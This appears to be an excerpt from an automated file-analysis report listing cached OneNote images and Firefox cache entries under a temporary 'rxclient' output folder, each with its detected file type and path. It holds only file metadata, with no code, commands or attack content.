"JPEG image data JFIF standard 1.02 aspect ratio density 100x100 segment length 16 baseline precision 8 612x792 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\33677f2e-1ba5-4f80-975f-af0626e0b56d]- [targetUID: 00000000-00006976] "02c14a7a-abed-4a36-907f-cf06fb6278c2" has type "JPEG image data JFIF standard 1.02 resolution (DPI) density 72x72 segment length 16 Exif Standard: [TIFF image data big-endian direntries=7 orientation=upper-left xresolution=98 yresolution=106 resolutionunit=2 software=Adobe Photoshop 7.0 datetime=2004:03:04 13:27:10] progressive precision 8 102x792 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\02c14a7a-abed-4a36-907f-cf06fb6278c2]- [targetUID: 00000000-00006976] "0dde7a88-a5c2-41d6-b34c-e1d9b728cf37" has type "JPEG image data JFIF standard 1.02 aspect ratio density 100x100 segment length 16 baseline precision 8 612x792 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\0dde7a88-a5c2-41d6-b34c-e1d9b728cf37]- [targetUID: 00000000-00006976] "7b168dd1-e39e-4b39-918c-53b9e78365e9.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\7b168dd1-e39e-4b39-918c-53b9e78365e9.png]- [targetUID: 00000000-00006976] "115556d6-ba8b-4b18-8439-8e9c81ff63a4.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\115556d6-ba8b-4b18-8439-8e9c81ff63a4.png]- [targetUID: 00000000-00006976] "13A5277F52D8E5004231E2F94D3434D462EBA74C" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\13A5277F52D8E5004231E2F94D3434D462EBA74C]- [targetUID: 00000000-00006976] "05582FF5C196A4485F189490FEC9ECEA0890DA32" has type "PNG image data 196 x 196 8-bit/color RGBA non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\05582FF5C196A4485F189490FEC9ECEA0890DA32]- [targetUID: 00000000-00006976] "3c756f12-2366-4b0f-afd5-251f64e2b9f9" has type "JPEG image data JFIF standard 1.02 aspect ratio density 100x100 segment length 16 baseline precision 8 612x792 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\3c756f12-2366-4b0f-afd5-251f64e2b9f9]- [targetUID: 00000000-00006976] "197BBB3A98E65502A9B28F2EFBB7E7E79B1452D2" has type "gzip compressed data from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 1468203008 gzip compressed data reserved method ASCII has CRC extra field has comment from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 1468203008"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\197BBB3A98E65502A9B28F2EFBB7E7E79B1452D2]- [targetUID: 00000000-00006976] "8bbb5859-417d-4fce-93a7-8e5bb437f475" has type "JPEG image data JFIF standard 1.02 aspect ratio density 100x100 segment length 16 baseline precision 8 612x792 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\8bbb5859-417d-4fce-93a7-8e5bb437f475]- [targetUID: 00000000-00006976] "080158a4-05b2-4392-9dd9-be70cc27d215" has type "JPEG image data JFIF standard 1.02 aspect ratio density 100x100 segment length 16 baseline precision 8 612x792 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\080158a4-05b2-4392-9dd9-be70cc27d215]- [targetUID: 00000000-00006976] "00659E1F8F558174C53F6752E1EE07AD1D1ADEAF" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\00659E1F8F558174C53F6752E1EE07AD1D1ADEAF]- [targetUID: 00000000-00006976] "70d1f452-966e-4e28-8da5-8b2eeadbe078.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\70d1f452-966e-4e28-8da5-8b2eeadbe078.png]- [targetUID: 00000000-00006976] "0E7138D44BA693EABBF45B95D30414C3CD8F258A" has type "gzip compressed data max speed from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 695468032 gzip compressed data unknown method ASCII was "" encrypted from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 695468032"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\0E7138D44BA693EABBF45B95D30414C3CD8F258A]- [targetUID: 00000000-00006976] "6a8b0e06-e9a5-4761-afda-29391149e64d.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\6a8b0e06-e9a5-4761-afda-29391149e64d.png]- [targetUID: 00000000-00006976] "62e3dfa2-4350-445b-8693-d1d04a74543c.png" has type "PNG image data 707 x 320 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\62e3dfa2-4350-445b-8693-d1d04a74543c.png]- [targetUID: 00000000-00006976] "119840D5BD3C8D489B094C8B21E0606BE18D98EF" has type "gzip compressed data from Unix original size modulo 2^32 2372730880 gzip compressed data unknown method ASCII extra field from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 2372730880"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\119840D5BD3C8D489B094C8B21E0606BE18D98EF]- [targetUID: 00000000-00006976] "07a5080e-becd-4719-9a79-fe50b59eb55b.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\07a5080e-becd-4719-9a79-fe50b59eb55b.png]- [targetUID: 00000000-00006976] "0ec91619-5478-4e5c-aa1b-8da00a066091.png" has type "PNG image data 449 x 285 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\0ec91619-5478-4e5c-aa1b-8da00a066091.png]- [targetUID: 00000000-00006976] "61f61813-12bf-428e-a621-7547de2caf46" has type "Windows Enhanced Metafile (EMF) image data version 0x10000"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\61f61813-12bf-428e-a621-7547de2caf46]- [targetUID: 00000000-00006976] "072835f6-feb1-45f8-8d70-b1a8d9401029" has type "JPEG image data JFIF standard 1.01 resolution (DPI) density 72x72 segment length 16 baseline precision 8 613x144 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\072835f6-feb1-45f8-8d70-b1a8d9401029]- [targetUID: 00000000-00006976] "0A88DF8400DBEA1482ECE530DA4E70E00DA66A41" has type "MS Windows icon resource - 4 icons 64x64 32 bits/pixel 32x32 32 bits/pixel"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\0A88DF8400DBEA1482ECE530DA4E70E00DA66A41]- [targetUID: 00000000-00006976] "8b399897-1cdd-4622-8d42-0218b5374e30" has type "JPEG image data JFIF standard 1.02 resolution (DPI) density 72x72 segment length 16 Exif Standard: [TIFF image data big-endian direntries=7 orientation=upper-left xresolution=98 yresolution=106 resolutionunit=2 software=Adobe Photoshop 7.0 datetime=2004:03:04 13:18:09] progressive precision 8 164x641 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\8b399897-1cdd-4622-8d42-0218b5374e30]- [targetUID: 00000000-00006976] "06DACCBAC548ADC3BD4E99DA57B80FCA754FD0B8" has type "gzip compressed data from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 3829465088"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\06DACCBAC548ADC3BD4E99DA57B80FCA754FD0B8]- [targetUID: 00000000-00006976] "5394c05d-dc33-4d24-bd45-2d8954648f28.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\5394c05d-dc33-4d24-bd45-2d8954648f28.png]- [targetUID: 00000000-00006976] "1bf85fd8-2752-4457-88c6-58e635274be9" has type "JPEG image data JFIF standard 1.02 resolution (DPI) density 72x72 segment length 16 Exif Standard: [TIFF image data big-endian direntries=7 orientation=upper-left xresolution=98 yresolution=106 resolutionunit=2 software=Adobe Photoshop 7.0 datetime=2004:03:04 13:19:29] progressive precision 8 221x792 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\1bf85fd8-2752-4457-88c6-58e635274be9]- [targetUID: 00000000-00006976] "3c6a9801-329c-4eba-9524-2165ac426bef.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\3c6a9801-329c-4eba-9524-2165ac426bef.png]- [targetUID: 00000000-00006976] "0FEBD8BDBFAC8B82791945DC7E04F675419B2F42" has type "PNG image data 36 x 36 8-bit/color RGBA non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42]- [targetUID: 00000000-00006976] "35ebc36a-dd72-4649-9188-254acc3031b0.png" has type "PNG image data 452 x 277 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\35ebc36a-dd72-4649-9188-254acc3031b0.png]- [targetUID: 00000000-00006976] "6f0d52f9-b478-4adc-9f25-e3a894df2df4" has type "JPEG image data JFIF standard 1.02 resolution (DPI) density 72x72 segment length 16 Exif Standard: [TIFF image data big-endian direntries=7 orientation=upper-left xresolution=98 yresolution=106 resolutionunit=2 software=Adobe Photoshop 7.0 datetime=2004:03:04 13:06:24] progressive precision 8 38x792 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\6f0d52f9-b478-4adc-9f25-e3a894df2df4]- [targetUID: 00000000-00006976] "70501987-d6a0-453a-a50c-0d28efe21a26" has type "PNG image data 88 x 574 8-bit colormap non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\70501987-d6a0-453a-a50c-0d28efe21a26]- [targetUID: 00000000-00006976] "0ddb5d83-3980-43df-b938-98cc27f2ce80.png" has type "PNG image data 651 x 254 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\0ddb5d83-3980-43df-b938-98cc27f2ce80.png]- [targetUID: 00000000-00006976] "04F7615FBC29346C1C06F188DF08171608B148A0" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\04F7615FBC29346C1C06F188DF08171608B148A0]- [targetUID: 00000000-00006976] "21612353-e53d-4fae-ac9e-034978204566.png" has type "PNG image data 453 x 278 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\21612353-e53d-4fae-ac9e-034978204566.png]- [targetUID: 00000000-00006976] "10794FD3D7A57AE982142FC22B9500BA3F0449BB" has type "gzip compressed data max speed from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 1224802304 gzip compressed data reserved method ASCII was "" from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 1224802304"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\10794FD3D7A57AE982142FC22B9500BA3F0449BB]- [targetUID: 00000000-00006976] "047880D7EC2D2467D4622E814C9780F95A7A160F" has type "gzip compressed data max speed from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 1174470656"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\047880D7EC2D2467D4622E814C9780F95A7A160F]- [targetUID: 00000000-00006976] "0F7A6FBBE8D89ADB18920D211FF03455FF349105" has type "gzip compressed data from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 2182217728"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\0F7A6FBBE8D89ADB18920D211FF03455FF349105]- [targetUID: 00000000-00006976] "20365CBC522A8A8BA2797B61EB86D6A5419ACADE" has type "gzip compressed data from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 3960864768 gzip compressed data unknown method extra field encrypted from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 3960864768"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\20365CBC522A8A8BA2797B61EB86D6A5419ACADE]- [targetUID: 00000000-00006976] "7d014bed-5d20-470d-9655-bcf9c82d04f6" has type "JPEG image data JFIF standard 1.02 aspect ratio density 100x100 segment length 16 baseline precision 8 612x792 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\7d014bed-5d20-470d-9655-bcf9c82d04f6]- [targetUID: 00000000-00006976] "6acd7df4-f195-4f6d-98b9-b8f3e80f5759.png" has type "PNG image data 453 x 278 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\6acd7df4-f195-4f6d-98b9-b8f3e80f5759.png]- [targetUID: 00000000-00006976] "060C63588F45B35E7341A8950BAB98961FAC3E03" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\060C63588F45B35E7341A8950BAB98961FAC3E03]- [targetUID: 00000000-00006976] "021A9A79C17610AF76A2D0507B665C9675CEF494" has type "gzip compressed data max speed from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 319619072 gzip compressed data unknown method ASCII has CRC has comment from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 319619072"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\021A9A79C17610AF76A2D0507B665C9675CEF494]- [targetUID: 00000000-00006976] "2278218568727D1A431D3205505B3B304E0AB5AB" has type "gzip compressed data from Unix original size modulo 2^32 3255500800"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\2278218568727D1A431D3205505B3B304E0AB5AB]- [targetUID: 00000000-00006976] "1679441B8AA7B4D31717C773CC4E86A25B37532B" has type "gzip compressed data from Unix original size modulo 2^32 1544355840 gzip compressed data unknown method extra field has comment from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 1544355840"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\1679441B8AA7B4D31717C773CC4E86A25B37532B]- [targetUID: 00000000-00006976] "41eb345a-67ed-4293-b790-d66af12e9482.png" has type "PNG image data 454 x 278 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\41eb345a-67ed-4293-b790-d66af12e9482.png]- [targetUID: 00000000-00006976] "15f1ba95-3461-409b-9e8d-63fd5a916242.png" has type "PNG image data 749 x 126 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\15f1ba95-3461-409b-9e8d-63fd5a916242.png]- [targetUID: 00000000-00006976] "5273e1fd-51c0-4978-b06f-b2d159de7a3e" has type "PNG image data 189 x 305 8-bit/color RGBA non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\5273e1fd-51c0-4978-b06f-b2d159de7a3e]- [targetUID: 00000000-00006976] "0505E39591E4B6D9940370D4300ABD03896C7EE9" has type "PNG image data 70 x 70 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\0505E39591E4B6D9940370D4300ABD03896C7EE9]- [targetUID: 00000000-00006976] "171D491AFB0CCCB09A3A3A3F0AD76409A0901F9A" has type "gzip compressed data max speed from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 2399141888 gzip compressed data reserved method ASCII has CRC extra field from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 2399141888"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\171D491AFB0CCCB09A3A3A3F0AD76409A0901F9A]- [targetUID: 00000000-00006976] "4c20f1ad-9db3-4a48-9712-e80be71c5d6c" has type "JPEG image data JFIF standard 1.01 resolution (DPI) density 72x72 segment length 16 baseline precision 8 814x105 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\4c20f1ad-9db3-4a48-9712-e80be71c5d6c]- [targetUID: 00000000-00006976] "20227FAA9AF68414EBCC7ACC63D624BF695606AD" has type "PNG image data 216 x 46 8-bit/color RGBA non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\20227FAA9AF68414EBCC7ACC63D624BF695606AD]- [targetUID: 00000000-00006976] "08143EA1FC2948205C9E13E6ED5AA9AB4D2B0120" has type "gzip compressed data from Unix original size modulo 2^32 4010278912 gzip compressed data ASCII has CRC extra field encrypted from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 4010278912"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\08143EA1FC2948205C9E13E6ED5AA9AB4D2B0120]- [targetUID: 00000000-00006976] "08CDAAB5F3E7B7B54B4C3C07A397B42E961D6250" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\08CDAAB5F3E7B7B54B4C3C07A397B42E961D6250]- [targetUID: 00000000-00006976] "12C5797F729FEAC529B8B47C188D14EB02D8CB76" has type "gzip compressed data from Unix original size modulo 2^32 1392902144 gzip compressed data reserved method ASCII has CRC has comment from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 1392902144"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\12C5797F729FEAC529B8B47C188D14EB02D8CB76]- [targetUID: 00000000-00006976] "07615dd4-2ff7-4510-804f-2eceb1ca813c.png" has type "PNG image data 453 x 278 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\07615dd4-2ff7-4510-804f-2eceb1ca813c.png]- [targetUID: 00000000-00006976] "0C6AB0F91A82C59B43C591F5A348648700E8C4A9" has type "gzip compressed data max speed from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 3909353472 gzip compressed data reserved method ASCII was "" encrypted from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 3909353472"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\0C6AB0F91A82C59B43C591F5A348648700E8C4A9]- [targetUID: 00000000-00006976] "4ce0a476-ccff-4b8a-8bbf-2167040d2665" has type "PNG image data 176 x 513 8-bit colormap non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\4ce0a476-ccff-4b8a-8bbf-2167040d2665]- [targetUID: 00000000-00006976] "0AC6FC0D0747D70D88E3A81DEDF722D43FF70A5A" has type "gzip compressed data max speed from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 2281701376 gzip compressed data reserved method was "" from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 2281701376"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\0AC6FC0D0747D70D88E3A81DEDF722D43FF70A5A]- [targetUID: 00000000-00006976] "09EA9480679B77D360A8E87461D69350EF4F6656" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\09EA9480679B77D360A8E87461D69350EF4F6656]- [targetUID: 00000000-00006976] "1e81fb27-0aa3-4b11-a764-0d9e7e3272ea.png" has type "PNG image data 707 x 42 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\1e81fb27-0aa3-4b11-a764-0d9e7e3272ea.png]- [targetUID: 00000000-00006976] "040E74E71C45D91C46022EA4BEC836CA19AB6DE8" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\040E74E71C45D91C46022EA4BEC836CA19AB6DE8]- [targetUID: 00000000-00006976] "23FB789640E2E045740CC5513B538EB061C1CE73" has type "gzip compressed data from Unix original size modulo 2^32 1980235776 gzip compressed data has CRC extra field has comment encrypted from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 1980235776"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\23FB789640E2E045740CC5513B538EB061C1CE73]- [targetUID: 00000000-00006976] "136859282BC6FB96903E00AE429C3F9F1659FB69" has type "PNG image data 636 x 300 8-bit colormap non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\136859282BC6FB96903E00AE429C3F9F1659FB69]- [targetUID: 00000000-00006976] "0AB1BE712BE7745C73A5EFA8DFC4780205FD18D7" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\0AB1BE712BE7745C73A5EFA8DFC4780205FD18D7]- [targetUID: 00000000-00006976] "15C111ED845EF8DCE4E50FC0541F2F6C0F9FCCA3" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\15C111ED845EF8DCE4E50FC0541F2F6C0F9FCCA3]- [targetUID: 00000000-00006976] "81d4fff9-3a82-43ac-80e6-41fcea4509cd" has type "PNG image data 171 x 552 8-bit colormap non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\81d4fff9-3a82-43ac-80e6-41fcea4509cd]- [targetUID: 00000000-00006976] "160ED1C66A01A49836FDFFF296E82514FAF88E48" has type "gzip compressed data from Unix original size modulo 2^32 3959750656 gzip compressed data reserved method extra field encrypted from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 3959750656"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\160ED1C66A01A49836FDFFF296E82514FAF88E48]- [targetUID: 00000000-00006976] "2450E8BA04B690DD105972427EA2DFDDAB92809B" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\2450E8BA04B690DD105972427EA2DFDDAB92809B]- [targetUID: 00000000-00006976] "1CC09C262C3BB2069893A683989DE9C82BF3BDE6" has type "gzip compressed data from Unix original size modulo 2^32 1342177280 gzip compressed data reserved method has comment from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 1342177280"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\1CC09C262C3BB2069893A683989DE9C82BF3BDE6]- [targetUID: 00000000-00006976] "0d984a6a-e70e-4747-bded-b92173e85c21.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\0d984a6a-e70e-4747-bded-b92173e85c21.png]- [targetUID: 00000000-00006976] "196BCA845E91608F7B4CA6127A60D20AF55413AC" has type "gzip compressed data from Unix original size modulo 2^32 1342177280 gzip compressed data reserved method has comment from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 1342177280"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\196BCA845E91608F7B4CA6127A60D20AF55413AC]- [targetUID: 00000000-00006976] "1CE9205D4D702725963650EB502184E13E99AC1C" has type "gzip compressed data from Unix original size modulo 2^32 536936448"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\1CE9205D4D702725963650EB502184E13E99AC1C]- [targetUID: 00000000-00006976] "26AB1B34E7B85CED214A84D0725E70B840F43DE3" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\26AB1B34E7B85CED214A84D0725E70B840F43DE3]- [targetUID: 00000000-00006976] "156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA]- [targetUID: 00000000-00006976] "0949C2D36A68EE7D9860C2B6188C640357AA14EB" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\0949C2D36A68EE7D9860C2B6188C640357AA14EB]- [targetUID: 00000000-00006976] "05250D893D6013CB681BC7B40EC3AB84090AC132" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\05250D893D6013CB681BC7B40EC3AB84090AC132]- [targetUID: 00000000-00006976] "22A43EACD11051FFD1CDF5739ADC32616135234F" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\22A43EACD11051FFD1CDF5739ADC32616135234F]- [targetUID: 00000000-00006976] "26BEDE65D2CA74E707ABB3C3BEA6701806404E08" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\26BEDE65D2CA74E707ABB3C3BEA6701806404E08]- [targetUID: 00000000-00006976] "1AD20D80616B24472A2FAF44C3084CD06F5FD3F6" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\1AD20D80616B24472A2FAF44C3084CD06F5FD3F6]- [targetUID: 00000000-00006976] "0B2B55D2679BAC2785FCDDF9F5AA6193E8E5CF5D" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\0B2B55D2679BAC2785FCDDF9F5AA6193E8E5CF5D]- [targetUID: 00000000-00006976] "0C3B46349FB985C4728E741A06B523D47DB18D2C" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\0C3B46349FB985C4728E741A06B523D47DB18D2C]- [targetUID: 00000000-00006976] "217AE3EFFAEEB57FA5B5179C0F5CCBC951ADB20B" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\217AE3EFFAEEB57FA5B5179C0F5CCBC951ADB20B]- [targetUID: 00000000-00006976] "00CACAB4A2A08019AB723BBEA8A2918C4D611880" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\00CACAB4A2A08019AB723BBEA8A2918C4D611880]- [targetUID: 00000000-00006976] "1C15025C8A0782B106564CDC1C682B7D89D3EDB0" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\1C15025C8A0782B106564CDC1C682B7D89D3EDB0]- [targetUID: 00000000-00006976] "065B135CB798BE21F556DAA7E21182BCA84B74AD" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\065B135CB798BE21F556DAA7E21182BCA84B74AD]- [targetUID: 00000000-00006976] "07C90D62A7D3F8A43241091A4C2E6390C58578A2" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\07C90D62A7D3F8A43241091A4C2E6390C58578A2]- [targetUID: 00000000-00006976] "1BB36A38A8345C80D9C9A6B42EB75F642CBEDB46" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\1BB36A38A8345C80D9C9A6B42EB75F642CBEDB46]- [targetUID: 00000000-00006976] "191C7CECCBF9889304511B6F610C59648B7FC364" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\191C7CECCBF9889304511B6F610C59648B7FC364]- [targetUID: 00000000-00006976] "11967C456459F3B1ED247B73A0B9E54B0BD97AB8" has type "gzip compressed data max speed from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 352976896 gzip compressed data unknown method ASCII extra field has comment from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 352976896"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\11967C456459F3B1ED247B73A0B9E54B0BD97AB8]- [targetUID: 00000000-00006976] 